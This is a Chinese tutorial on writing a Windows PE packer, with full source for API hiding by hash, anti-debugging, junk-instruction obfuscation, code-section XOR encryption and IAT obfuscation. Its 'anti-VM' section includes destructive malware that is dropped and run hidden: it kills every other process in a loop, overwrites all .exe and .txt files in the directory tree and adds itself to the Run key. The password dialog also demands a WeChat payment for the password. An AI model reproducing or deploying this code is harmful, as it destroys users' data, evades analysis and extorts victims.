加壳器概述:
本加壳器针对的主要是PE文件,从PE文件的结构入手,对其区段进行增添,并将源程序的入口地址修改为新的(加壳的入口地址)地址。
此壳主要功能有:
1.在源程序基础上增加mfc窗口校验,若输入密码错误,则加壳后程序启动失败
2.增加了反虚拟机感应,若加壳程序运行环境为虚拟机,则启动后备病毒。
3.对源程序代码段进行加密处理,在加壳程序运行时必须经过壳中得解密代码段后,程序才能正常运行。
加壳器主要步骤
1.壳代码编写
1.1 函数初始化
由于壳代码运行在加载导入导出表之前,因此壳代码中的函数不能直接调用其他库中的标准函数。因此需要调用的函数必须通过自己的重写编写后(即找到各个库中自己所需函数地址,并将其地址重新进行调用即可)才能进行调用。
这里我们需要借助fs寄存器来寻找kernel32.dll的首地址。(注:fs:[0]地址存放的是TEB机构体,如下图)
参考书籍《加密与解密》
通过TEB结构体中的偏移找到PEB结构体,再通过PEB找到名为Ldr的结构体(下图为PEB结构体)
在经过如此以偏移寻找地址的方式,最终找到kernel32的基地址。其大图如下。
最后汇编代码如下:
_asm {
xor eax,eax
mov eax,fs:[0x30] #获取PEB地址
mov eax,[eax+0xC] #获取PEB_LDR_DATA的结构体指针
mov esi,[eax+0x1C] #通过PEB_LDR_DATA获取到结构体成员:模块链表的头部地址
mov eax,[esi] #获取第一个加载的模块信息(根据环境的不同而不同)
mov eax,[eax] #获取第二个加载的模块信息(根据环境的不同而不同),我这里是kernel32.dll
mov eax,[eax+0x8] #获取kernel32.dll的模块基址
mov kernelBase,eax 将基址保存到定义的变量进行接收
}
找到其基地址后,利用PE文件结构特点,可以通过其地址寻找kernel32中的GetProcAdress函数地址,那么之后的需要的函数即可通过通过调用找到的GetProcAdress函数进行寻找。代码如下:(这里我将最后找到的函数名字进行了加密比较,为的就是对方在逆向时不能够清楚定义我需要寻找的函数是什么)
DWORD HashString(const char* arr)
{
DWORD ret = 0;
int i = 0;
while (*arr)
{
ret += (*arr << (20 - i) | i);
arr++;
i++;
}
return ret;
}
inline DWORD FindProcAddress(const DWORD arr, DWORD dllBase)
{
// 获取DOS头
IMAGE_DOS_HEADER* DosHeader = (IMAGE_DOS_HEADER*)dllBase;
// 获取NT头
IMAGE_NT_HEADERS* NtHeader = (IMAGE_NT_HEADERS*)(DosHeader->e_lfanew + dllBase);
// 获取扩展头
IMAGE_OPTIONAL_HEADER OPHeader = NtHeader->OptionalHeader;
// 获取导出表
IMAGE_EXPORT_DIRECTORY* ExportList = (IMAGE_EXPORT_DIRECTORY*)(OPHeader.DataDirectory[0].VirtualAddress + dllBase);
// 获取函数地址表
DWORD* FuncAddList = (DWORD*)(ExportList->AddressOfFunctions + dllBase);
// 获取函数名称表
DWORD* NameAddList = (DWORD*)(ExportList->AddressOfNames + dllBase);
// 获取函数序号表
SHORT* OriList = (SHORT*)(ExportList->AddressOfNameOrdinals + dllBase);
// 循环遍历,获取LoadLibrary函数地址以及GetProceAddress地址
for (int i = 0; i < ExportList->NumberOfNames; i++)
{
// 获取GetProcAddress
if (HashString((char*)(NameAddList[i] + dllBase)) == arr)
{
return ((FuncAddList[OriList[i]] + dllBase));
}
};
typedef FARPROC(WINAPI* MyGetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
MyGetProcAddress g_GetProcAddress = 0;
g_GetProcAddress = (MyGetProcAddress)FindProcAddress(0xadefedb, kernelBase);
}
找到了GetProcAddress函数的地址后,即可通过该函数去寻找其他函数的地址并封装成自己的函数.下列代码只是一部分寻找的函数地址(太多了,不方便全部写进去)【最关键的还是LoadLibrary函数用于加载其他库并寻找其他库中的函数地址,还有VirtualProtect,用于修改页面属性(原本页面属性是不可修改的,要修改的话必须修改属性为可写才行)】
g_LoadLibraryW = (MyLoadLibraryW)g_GetProcAddress((HMODULE)kernelBase, "LoadLibraryW");
g_VirtualProtect = (MyVirtualProtect)g_GetProcAddress((HMODULE)kernelBase, "VirtualProtect");
g_GetSystemTime = (MyGetSystemTime)g_GetProcAddress((HMODULE)kernelBase, "GetSystemTime");
g_Sleep = (MySleep)g_GetProcAddress((HMODULE)kernelBase, "Sleep");
userHandle = g_LoadLibraryW(L"user32.dll");
ucrtbasedHandle = g_LoadLibraryW(L"ucrtbase.dll");
VCRUNTIME140Handle = g_LoadLibraryW(L"VCRUNTIME140.dll");
g_GetModuleHandle = (MyGetModuleHandle)g_GetProcAddress((HMODULE)kernelBase, "GetModuleHandleW");
g_CreateWindowW = (MyCreateWindowW)g_GetProcAddress(userHandle, "CreateWindowExW");
g_MessageBoxW = (MyMessageBoxW)g_GetProcAddress(userHandle, "MessageBoxW");
g_MyGetDlgItem = (MyGetDlgItem)g_GetProcAddress(userHandle, "MyGetDlgItem");
g_GetWindowTextW = (MyGetWindowTextW)g_GetProcAddress(userHandle, "GetWindowTextW");
g_wcslen = (Mywcslen)g_GetProcAddress(ucrtbasedHandle, "wcslen");
g_wcscmp = (Mywcscmp)g_GetProcAddress(ucrtbasedHandle, "wcscmp");
g_DestroyWindow = (MyDestroyWindow)g_GetProcAddress(userHandle, "DestroyWindow");
g_RegisterClassW = (MyRegisterClassW)g_GetProcAddress(userHandle, "RegisterClassW");
g_ShowWindow = (MyShowWindow)g_GetProcAddress(userHandle, "ShowWindow");
g_UpdateWindow = (MyUpdateWindow)g_GetProcAddress(userHandle, "UpdateWindow");
g_GetMessageW = (MyGetMessageW)g_GetProcAddress(userHandle, "GetMessageW");
在寻找完所有需要的函数地址并重新封装后,就可以运用函数编写自己想要的壳的特定功能了。
1.2反调试
反调试我这里分了两部分,第一部分是调用了IsDebuggerPresent函数,该函数可以判断程序是否处于调试状态。这个反调试只是个幌子,由于原理比较简单,所以对方逆向时也能轻易看出来。
// 反调试幌子
//反调试
void Debugging() {
//SeeTeb_F24();
if (g_IsDebuggerPresent())
{
g_MessageBoxW(0, L"当前处于[被]调试状态", 0, 0);
g_ExitProcess(0);
}
}
第二部分主要是壳代码里的解密操作(由于加壳过程中,对源程序中的代码段部分代码进行了加密操作,所以壳代码中需要有解密操作才能使源程序正确运行)
解密部分我添加了部分花指令用于混淆对方逆向,解密操作主要如下,解密的思路为:记录当前的时间,并定时等待两秒,两秒后,以等待的两秒即2为间隔,对代码段进行解密操作(即每隔两个字节对下一个字节进行解密操作)【这里若对方处于调试状态,则等待时间大概率大于2秒导致解密失败,后续程序不能运行】,这里还涉及到解密用到的秘钥share_data.XorKey,秘钥是由加壳器中代码随机生成并传入壳代码中的。
// 用于异或解密加壳程序的代码段
void DeCodeText()
{
SYSTEMTIME StartTime;
g_GetSystemTime(&StartTime);
Second = StartTime.wSecond;
// 花指令
_asm _emit(0xEB)_asm _emit(0x01)_asm _emit(0x84)_asm _emit(0x2E)
_asm _emit(0x90)
_asm _emit(0xEB)_asm _emit(0x06)_asm _emit(0x7E)_asm _emit(0xE8)
_asm _emit(0x7D)_asm _emit(0x8D)_asm _emit(0x76)_asm _emit(0x40)_asm _emit(0x2E)
_asm _emit(0x8B)_asm _emit(0xF6)_asm _emit(0x3B)_asm _emit(0xF7)
auto TextBuffer = (BYTE*)(Dll_imageBase + share_data.XorStart);// share_data.XorStart
DWORD OldProtect = 0;
g_VirtualProtect(TextBuffer, share_data.XorAddr, PAGE_EXECUTE_READWRITE, &OldProtect);
g_Sleep(2000);
SYSTEMTIME EndTime;
g_GetSystemTime(&EndTime);
TimeDF = EndTime.wSecond - Second;
// 循环修复代码段
for (int i = 0; i < share_data.XorAddr; i += TimeDF)
{
TextBuffer[i] ^= share_data.XorKey;
}
g_VirtualProtect(TextBuffer, share_data.XorAddr, OldProtect, &OldProtect);
return;
}
1.3 修复加壳程序的IAT(输入表)
由于加壳时对加壳程序的IAT进行了清除操作(即取消系统对IAT的操作权),因此在壳代码里应该存在修复IAT的代码。
在这里,我不仅修复了IAT,并且还将IAT中的函数地址进行了加密和封装,将IAT表中保存的原本函数地址改为shellcode的地址,(shellcode功能为:对加密后的IAT地址进行解密并跳转。这里的opcode可以先用c++代码写出来,再用od这类动态调试工具去查看汇编代码即可)代码如下:
// 填充IAT表并写入用于解密的ShellCode
void FixAndDecodeIAT()
{
/*
获取模块名
加载模块
获取IAT
遍历IAT:
申请内存空间用于保存自己的解密函数
往内存空间填入自己的ShellCode
修改IAT内存属性
判断是否为序号还是名称
是序号就通过序号找到函数地址
是名称就通过名称找到函数地址
取出函数地址后进行加密
加密后填入准备好的ShellCode段相应的位置
再将ShellCode的地址填入IAT
恢复IAT内存属性
*/
// 获取导入表
auto IPTable = (PIMAGE_IMPORT_DESCRIPTOR)(Dll_imageBase + share_data.IATRVA);
// 循环遍历导入表并进行加密和修复,以每个module为一个小循环,遍历其中的函数
while (IPTable->Name)
{
// 加载模块
char* Name = (char*)(IPTable->Name + Dll_imageBase);
HMODULE hModule = g_LoadLibraryExA(Name, NULL, NULL);
// 通过IPTable->FirstThunk即输入地址表的rva找到输入地址表
auto Iat = (int*)(IPTable->FirstThunk + Dll_imageBase);
for (int i = 0; Iat[i] != 0; i++)
{
BYTE* DeCode = (BYTE*)g_VirtualAlloc(0, 0x50, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BYTE OpCode[] = { "\xE8\x01\x00\x00\x00\xE9\x58\xEB\x01\xE8\xB8"\
"\x65\x0C\xE0\x63"\
"\xEB\x01\x15\x35"\
"\x36\x36\x36\x36"\
"\xEB\x01\xFF\x50\xEB\x02\xFF\x15\xC3\x00\x00\x00" };
DWORD OldProtect;
g_VirtualProtect(&Iat[i], 0x50, PAGE_EXECUTE_READWRITE, &OldProtect);
DWORD FuncAddr = 0;
if ((Iat[i] & 0x80000000))
{
FuncAddr = (DWORD)g_GetProcAddress(hModule, (LPCSTR)(Iat[i] & 0xffff));
}
else
{
auto ImportByName = (PIMAGE_IMPORT_BY_NAME)(Iat[i] + Dll_imageBase);
FuncAddr = (DWORD)g_GetProcAddress(hModule, ImportByName->Name);
}
// 对函数地址进行加密
FuncAddr ^= 0x36363636;
// 并将加密后的地址改入上面的shellcode中
OpCode[11] = FuncAddr;
OpCode[12] = FuncAddr >> 8;
OpCode[13] = FuncAddr >> 0x10;
OpCode[14] = FuncAddr >> 0x18;
g_memcpy(DeCode, OpCode, sizeof(OpCode));
Iat[i] = (DWORD)DeCode;
g_VirtualProtect(&Iat[i], 0x50, OldProtect, &OldProtect);
}
IPTable++;
}
}
1.4 修复加壳程序的重定位表
壳代码的重定位表在加壳器代码中就已经修复,但是加壳程序由于重新定义了OEP,因此需要对加壳程序的重定位表进行修复,由于这里需要用到dll的加载基址,则可以通过fs寄存器来获得。
代码如下
_asm
{
mov eax, fs: [0x30]
mov eax, [eax + 0x8]
mov Dll_imageBase, eax
}
找到基址后,就可以根据偏移找到重定位表进行修复了,具体代码如下:注意:修复前需要将修改地址属性进行更改(原属性为只读,因此不可修改,这里要用到virtualprotect进行属性更改,且更改完后必须还原),重定位思路为:用原本计算出来的重定位地址减去老的加载基址,再加上新的加载基址就是修正后的地址。
// 修复加壳程序的重定位
VOID FixFileReloc()
{
auto Relocs = (PIMAGE_BASE_RELOCATION)(reloc_data.RelocRVA + Dll_imageBase);
DWORD OldProtect = 0;
while (Relocs->VirtualAddress)
{
DWORD OldProtect = 0;
g_VirtualProtect((LPVOID)(Dll_imageBase + Relocs->VirtualAddress), 0x1000, PAGE_READWRITE, &OldProtect);
TypeOffset* items = (TypeOffset*)(Relocs + 1);
//遍历重定位项
int count = (Relocs->SizeOfBlock - 8) / 2;
for (int i = 0; i < count; ++i)
{
if (items[i].Type == 3)
{
DWORD Temp = 0;
// 计算出每一个需要重定位的数据所在的地址
DWORD* item = (DWORD*)(Dll_imageBase + Relocs->VirtualAddress + items[i].Offset);
// 这里操作的是需要重定位的数据,通常是代码段(不可写),reloc_data.ImageBase:加壳程序的默认加载地址
*item = *item + Dll_imageBase - reloc_data.ImageBase;
}
}
g_VirtualProtect((LPVOID)(Dll_imageBase + Relocs->VirtualAddress), 0x1000, OldProtect, &OldProtect);
// 下一个重定位块
Relocs = (PIMAGE_BASE_RELOCATION)(Relocs->SizeOfBlock + (DWORD)Relocs);
}
}
1.5 窗口以及窗口回调
这里定义弹框的函数只能自己编写而不能直接通windows现有的mfc进行调用,且需要用到API也必须通过寻找函数地址的方式并重新封装后调用。具体代码如下:
// 窗口类提供的回调函数,产生消息的窗口、消息类型、消息的附加参数
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
// 通过这个函数可以获取到当前应用程序的实例句柄,和 WinMain 中的是一样的
hInstance1 = g_GetModuleHandle(NULL);
switch (uMsg)
{
// 创建窗口的消息,通常执行初始化操作
case WM_CREATE:
// 任何一个控件本质都是窗口,在创建控件的时候,必须需要指定 WS_CHILD 风格,
// 默认控件是不显示的,所以还需要指定 WS_VISIBLE
g_CreateWindowW(0, WC_BUTTON, L"提交", WS_CHILD | WS_VISIBLE,
// 对于控件,不需要指定菜单,通过这个字段我们可以为控件设置 id,用于标识
// 当前响应的是哪一个控件,id 必须是一个能够使用两字节表示的数据
10, 100, 200, 50, hWnd, (HMENU)0x1001, hInstance1, 0);
g_CreateWindowW(0, WC_EDIT, L"默认的文字信息", WS_CHILD | WS_VISIBLE | WS_BORDER | ES_MULTILINE,
10, 10, 200, 50, hWnd, (HMENU)0x1005, hInstance1, 0);
break;
// 按下关闭按钮会响应的消息
case WM_CLOSE:
g_MessageBoxW(0, L"提示", L"关个毛", 0);
// 对于任何一个窗口,如果想要关闭,就一定会调用销毁窗口
g_DestroyWindow(hWnd);
// 只有主窗口退出才需要关闭消息循环,所有的子窗口只需要销毁
g_PostQuitMessage(0);
CallFrame();
break;
// 相应标准控件的消息(按钮\编辑框等),wParam(控制码\id)lParam(句柄)
case WM_COMMAND:
{
// 通过 wParam 的低位获取到当前是哪一个控件被响应了
switch (LOWORD(wParam))
{
// 单击第一个按钮,实现将按钮移动至窗口内的其他位置
case 0x1001:
{
// 1. 进行密码校验
// 1. 查找指定对话框下的控件句柄
hEdit = g_GetDlgItem(hWnd, 0x1005);
// 2. 获取到目标控件上保存的内容
g_GetWindowTextW(hEdit, Buffer, 0x100); // 发送了 WM_GETTEXT 消息
if (g_wcslen(Buffer) == 7)
{
if (g_wcscmp(Buffer, L"nihaoao") == 0)
{
g_MessageBoxW(0, L"提示", L"密码正确", 0);
// 对于任何一个窗口,如果想要关闭,就一定会调用销毁窗口
g_DestroyWindow(hWnd);
// 只有主窗口退出才需要关闭消息循环,所有的子窗口只需要销毁
g_PostQuitMessage(0);
}
else
{
g_MessageBoxW(0, L"提示", L"微信号55698转账50可以获取密码", 0);
// 3. 重新设置编辑框的内容 = GetDlgItem + SetWindowText
g_SetDlgItemTextW(hWnd, 0x1005, L"新的内容");
}
}
else
{
g_MessageBoxW(0, L"提示", L"微信号55698转账50可以获取密码", 0);
// 3. 重新设置编辑框的内容 = GetDlgItem + SetWindowText
g_SetDlgItemTextW(hWnd, 0x1005, L"新的内容");
}
break;
}
}
break;
}
}
// 对于任何一个不想处理的消息,都应该发送给默认回调函数
return g_DefWindowProc(hWnd, uMsg, wParam, lParam);
}
WNDCLASS WndClass = { 0 };
HINSTANCE hInstance;
HWND hWnd;
MSG msg = { 0 };
// 用于弹框进行密码校验
void CallFrame()
{
// 1. 初始化窗口类并注册窗口类到系统中,窗口类名和回调函数是必须提供的,其
// 它参数如果不想提供,就必须对结构体进行初始化,设置为 0
WndClass.lpszClassName = L"myclass";
WndClass.hbrBackground = (HBRUSH)DKGRAY_BRUSH;
WndClass.lpfnWndProc = WndProc;
g_RegisterClassW(&WndClass);
hInstance = g_GetModuleHandle(NULL);
// 2. 创建窗口并显示和更新窗口,实际发送了一个非队列的 WM_CREATE 消息,作
// 为非队列消息,实际执行的操作是直接调用窗口绑定的窗口类指定的回调函数,
// 入过没有指定回调函数,那么在这个位置会产生 C0000005 执行异常
hWnd = g_CreateWindowW(0, L"myclass", L"操作窗口", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, 0x100, 0x100, NULL, NULL, hInstance, 0);
g_ShowWindow(hWnd, SW_SHOWNORMAL);
g_UpdateWindow(hWnd);
// 3. 消息循环: 从消息队列中获取到消息 + ? + 分发消息到对应的回调函数
while (g_GetMessageW(&msg, NULL, 0, 0))
{
// 对于编辑框的输入,响应的消息是 WM_CHAR,但是这个消息默认是不会产生
// 的,通过 TranslateMessage 函数可以根据生成的 WM_KEYDOWN\WM_KEYUP
// 合成一个新的对应的 WM_CHAR 消息,之后就能操作编辑框了
g_TranslateMessage(&msg);
g_DispatchMessageW(&msg);
}
return;
}
1.6 jump OEP
由于在壳代码运行完毕后,要使得原本的加壳程序也能顺利运行,因此,这里在运行完自己的壳代码后,需要跳转到原本加壳程序的OEP才行,汇编代码如下:(注:这里相关与加壳程序的数据结构,是由加壳器代码传递过来的)
_declspec(naked) VOID JmpOep()
{
// 原始OEP等于保存至结构体中的OEP相对偏移加上加载基址
// DWORD Dll_imageBase = 0;
_asm
{
mov eax, Dll_imageBase
add eax, share_data.OldOep
jmp eax
}
}
1.7 关于加壳程序部分地址数据结构的定义与传递
由于在壳代码中,我们无法直接获取加壳程序的相关数据(例如:加壳程序的原始OEP,重定位表的RVA等等),因此这里我们要定义相关数据结构,用于加壳器代码并进行传输:数据结构如下,注意这里加壳器需要调用的数据结构必须用extern"C"声明,用于防止名称粉碎导致加壳器代码无法找到数据结构。
// 定义结构体用于保存数据
typedef struct _SHARE_DATA
{
ULONG_PTR OldOep;
ULONG_PTR XorStart;
SIZE_T XorAddr;
BYTE XorKey;
DWORD IATRVA;
DWORD TlsVirtualAddress;
DWORD TlsCallBackTableVa;
} SHARE_DATA, * PSHARE_DATA;
// 定义结构体用于保存压缩代码数据
typedef struct _PACK_DATA
{
// 加壳程序代码段大小
DWORD SizeOfRawData;
// 加壳程序压缩后的大小
DWORD FileCompressSize;
// 代码段偏移
DWORD TextRVA;
// 判断是否进行压缩
BOOL IfPack = FALSE;
}PACK_DATA, * PPACK_DATA;
// 定义结构体用于保存重定位数据
typedef struct _RELOC_DATA
{
// RVA;重定位表的大小;加载基址
DWORD RelocRVA;
DWORD RelocSize;
DWORD ImageBase;
DWORD OldImageBase;
}RELOC_DATA, * PRELOC_DATA;
// 定义结构体用于保存重定位位段
typedef struct TypeOffset
{
WORD Offset : 12;
WORD Type : 4;
}TypeOffset, * PTypeOffset;
// 防止名称粉碎
extern"C"
{
_declspec(dllexport) SHARE_DATA share_data;
_declspec(dllexport) PACK_DATA pack_data;
_declspec(dllexport) RELOC_DATA reloc_data;
}
1.8 修复TLS
TLS全称线程局部存储器,它用来保存变量或回调函数。一个程序如果有TLS会在程序运行之前就调用TLS里面的回调函数,由于我们运行的是加壳后的程序,原程序的代码段已经被加密,直接运行TLS肯定不行,我们需要手动处理TLS,在加壳程序中备份TLS以及TLS的回调函数数组,然后在壳代码中,程序解密后运行前,自己手动遍历TLS回调函数,手动循环调用一次,然后在恢复TLS。
// 调用TLS
void CallTls() {
//如果存在TLS表
if (share_data.TlsVirtualAddress)
{
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)(Dll_imageBase);
PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(DosHeader->e_lfanew + Dll_imageBase);
DWORD OldProtect = 0;
g_VirtualProtect(&(NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress), 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect);
//恢复Tls数据
NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress = share_data.TlsVirtualAddress;
g_VirtualProtect(&(NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress), 0x1000, OldProtect, &OldProtect);
auto TlsTable = (PIMAGE_TLS_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress + Dll_imageBase);
//手动调用TLS回调函数
auto CallBackTable = (PIMAGE_TLS_CALLBACK*)(share_data.TlsCallBackTableVa - reloc_data.OldImageBase + Dll_imageBase);
while (*CallBackTable)
{
(*CallBackTable)((PVOID)Dll_imageBase, DLL_PROCESS_ATTACH, NULL);
(*CallBackTable)((PVOID)Dll_imageBase, DLL_THREAD_ATTACH, NULL);
(*CallBackTable)((PVOID)Dll_imageBase, DLL_THREAD_DETACH, NULL);
CallBackTable++;
}
}
}
1.9 扩展功能:反虚拟以及资源破坏
由于兴趣使然,我在壳代码中有增加了一个反虚拟的功能,我将反虚拟的exe以资源的方式放入壳代码中,在运行加壳程序时就会将反虚拟的exe以资源的方式释放至当前路径,并运行该进程。
// 释放资源,并创建进程启动资源
void FreeSource()
{
// 获取指定模块里的资源
HRSRC hRsrc = g_FindResourceW(NULL, L"6666", L"MYRES");
// 获取资源大小
DWORD dwSize = g_SizeofResource(NULL, hRsrc);
// 将资源加载到内存中
HGLOBAL hGlobal = g_LoadResource(NULL, hRsrc);
// 锁定资源
LPVOID lpVoid = g_LockResource(hGlobal);
// 保存资源为文件
FILE* fp = NULL;
g_fopen_s(&fp, "AntiVirtual.exe", "wb+");
// 写入文件
g_fwrite(lpVoid, sizeof(char), dwSize, fp);
g_fclose(fp);
}
void LaqiProcess()
{
g_WinExec("AntiVirtual.exe", SW_HIDE);
}
反虚拟的功能是:(判断虚拟机的汇编代码,运用的是寄存器的一个字段进行判断,具体原理我也不是很懂,网上一大片判断虚拟机的我就借用了一个)
若判定环境为虚拟机环境,则对其进行一系列摧毁操作,先是拷贝一份副本exe到当前路径,其次对对当前路径下的一系列文件进行破坏,最后将副本exe添加至开机启动项实现虚拟机的开机即无限刷屏使其崩溃。代码如下:
// 判断是否存在虚拟机
DWORD fTestInVMWare()
{
DWORD dwRet;
__try
{
__asm
{
mov dwRet, 1
push edx
push ecx
push ebx
mov eax, 564D5868h
mov ebx, 0
mov ecx, 0Ah
mov edx, 5658h
in eax, dx
cmp ebx, 564D5868h
setz dwRet
pop ebx
pop ecx
pop edx
//mov dwRet ,1
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
dwRet = 0;
}
return dwRet;
}
// 结束进程
VOID EndProcess()
{
HANDLE Handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Handle != INVALID_HANDLE_VALUE)
{
int idex = 0;
PROCESSENTRY32 Processentry = { sizeof(PROCESSENTRY32) };
BOOL Success = Process32First(Handle, &Processentry);
if (Success != FALSE)
{
do {
// ProcessList.InsertItem(idex, Processentry.szExeFile);
// 打开一个句柄用于查询信息,需要查询信息的权限
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, Processentry.th32ProcessID);
if (wcscmp(Processentry.szExeFile, L"AntiVirtual.exe") != 0)
{
TerminateProcess(ProcessHandle, -1);
}
CloseHandle(ProcessHandle);
idex++;
} while (Process32Next(Handle, &Processentry));
}
}
}
// 自我拷贝
BOOL SelfCopy()
{
// 获取当前路径
CHAR FileName[MAX_PATH];
GetModuleFileNameA(NULL, FileName, MAX_PATH);
if (CopyFileA(FileName, "My.exe", TRUE))
{
return TRUE;
}
return FALSE;
}
// 遍历文件进行替代
VOID DelFile(CStringA& PathString)
{
// 拼接路径
WIN32_FIND_DATAA FileInfo = { 0 };
CStringA FindPath = PathString + L"\\*";
HANDLE FindHandle = FindFirstFileA(FindPath, &FileInfo);
// CString CreatTime;
if (FindHandle != INVALID_HANDLE_VALUE)
{
int idex = 0;
do {
// 如果当前遍历到的是一个目录,那么就递归
if (FileInfo.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// 需要在遍历的路径中排除 . 和 .. 路径
if (strcmp(FileInfo.cFileName, ".") && strcmp(FileInfo.cFileName, ".."))
{
/*
保存一下文件路径
*/
CStringA FilePath = PathString + "\\" + FileInfo.cFileName;
return DelFile(FilePath);
}
}
/*
如果不是目录的话,就输出文件夹的名字
*/
else
{
if (strcmp(PathFindExtensionA(FileInfo.cFileName), ".exe") == 0&&strcmp(FileInfo.cFileName,"AntiVirtual.exe")!=0)
{
/*
保存一下文件路径
*/
CStringA FilePath = PathString + "\\" + FileInfo.cFileName;
HANDLE hFile = CreateFileA(FilePath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD RealSize = 0;
HANDLE hFile1 = CreateFileA("My.exe", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD FileSize = GetFileSize(hFile1, NULL);
auto FileBase = malloc(FileSize);
DWORD RelSize;
ReadFile(hFile1, FileBase, FileSize, &RelSize, NULL);
DWORD RelSize1;
WriteFile(hFile, FileBase, FileSize, &RelSize1, NULL);
CloseHandle(hFile);
CloseHandle(hFile1);
}
else if (strcmp(PathFindExtensionA(FileInfo.cFileName), ".txt") == 0)
{
CStringA FilePath = PathString + L"\\" + FileInfo.cFileName;
HANDLE hFile = CreateFileA(FilePath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
SYSTEMTIME StartTime;
GetSystemTime(&StartTime);
CString Time;
Time.Format(L"%d.%d", StartTime.wMonth, StartTime.wDay);
DWORD RelSize;
if (!WriteFile(hFile, Time, 0x10, &RelSize, NULL))
MessageBox(0, 0, L"写入失败", 0);
CloseHandle(hFile);
}
idex++;
}
} while (FindNextFileA(FindHandle, &FileInfo));// 如果文件遍历成功,就继续遍历下一个文件
FindClose(FindHandle);
}
}
// 注册表
// 添加注册表
BOOL Reg_CurrentUser(char* lpszFIleName, char* NameValue)
{
// 默认权限
HKEY hKey;
// 打开注册表键
if (ERROR_SUCCESS != ::RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
{
printf("RegOpenKeyEx");
system("pause");
return FALSE;
}
// 修改注册表值,实现开机启动
if (ERROR_SUCCESS != ::RegSetValueExA(hKey, NameValue, 0, REG_SZ, (BYTE*)lpszFIleName, (1 + ::lstrlenA(lpszFIleName))))
{
printf("RegSetKeyValueA");
system("pause");
return FALSE;
}
::RegCloseKey(hKey);
return TRUE;
}
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
while (1)
{
EndProcess();
Sleep(2000);
}
}
int main()
{
// 检测虚拟机
if (fTestInVMWare() == 1)
{
// 自我拷贝
SelfCopy();
CHAR FileName[MAX_PATH];
GetModuleFileNameA(NULL, FileName, MAX_PATH);
strrchr(FileName, '\\');
*strrchr(FileName, '\\') = 0;
CStringA FilePath;
FilePath.Format("%s", FileName);
// 修改文件内存
DelFile(FilePath);
char arr[] = { "安全个鬼" };
strcat_s(FileName, "My.exe");
// 添加注册表
Reg_CurrentUser(FileName, arr);
// 创建进程,结束进程,使其刷屏
HANDLE hThread=CreateThread(NULL, 0, ThreadProc, 0, 0, 0);
WaitForSingleObject(hThread, -1);
}
else
{
ExitProcess(-1);
}
return 0;
}
2.0 定义总览函数用于执行上述功能
这里的定义的函数地址即为加壳程序新的OEP地址,因此,该函数需要被加壳程序所查找,所以也需要使用extern"C"声明,并且使用裸函数防止系统对堆栈做了多余的操作。代码如下:
// 一个没有使用名称粉碎导出的裸函数
extern "C" _declspec(dllexport) _declspec(naked) void Start()
{
// 初始化(找到相关函数地址以及相关基址等)
InitCode();
InitFunc();
// 反调试
Debugging();
// 释放资源
FreeSource();
// 拉起反虚拟进程
LaqiProcess();
// 弹框
CallFrame();
// 解密代码
DeCodeText();
// 修复加壳程序的重定位
FixFileReloc();
// 加密IAT并申请空间进行解密
FixAndDecodeIAT();
// 修复TLS
CallTls();
// 跳转到加壳程序OEP
JmpOep();
}
总结
壳代码需要使用TEB结构体进行相关数据地址的查找,以及频繁的使用virtualProtect进行属性修改以及还原,特别是函数的封装相当麻烦,封装的函数参数需要与原本函数调用参数一致,返回值类型也需一致,这必须一个一个查找并重新定义。还有就是相关结构体的定义尤为复杂,以及地址转换方面,地址转换涉及到RVA转FOA,以及重定位修复时的地址修正。(很烧脑筋,建议不懂的时候参照加密与解密等书籍)。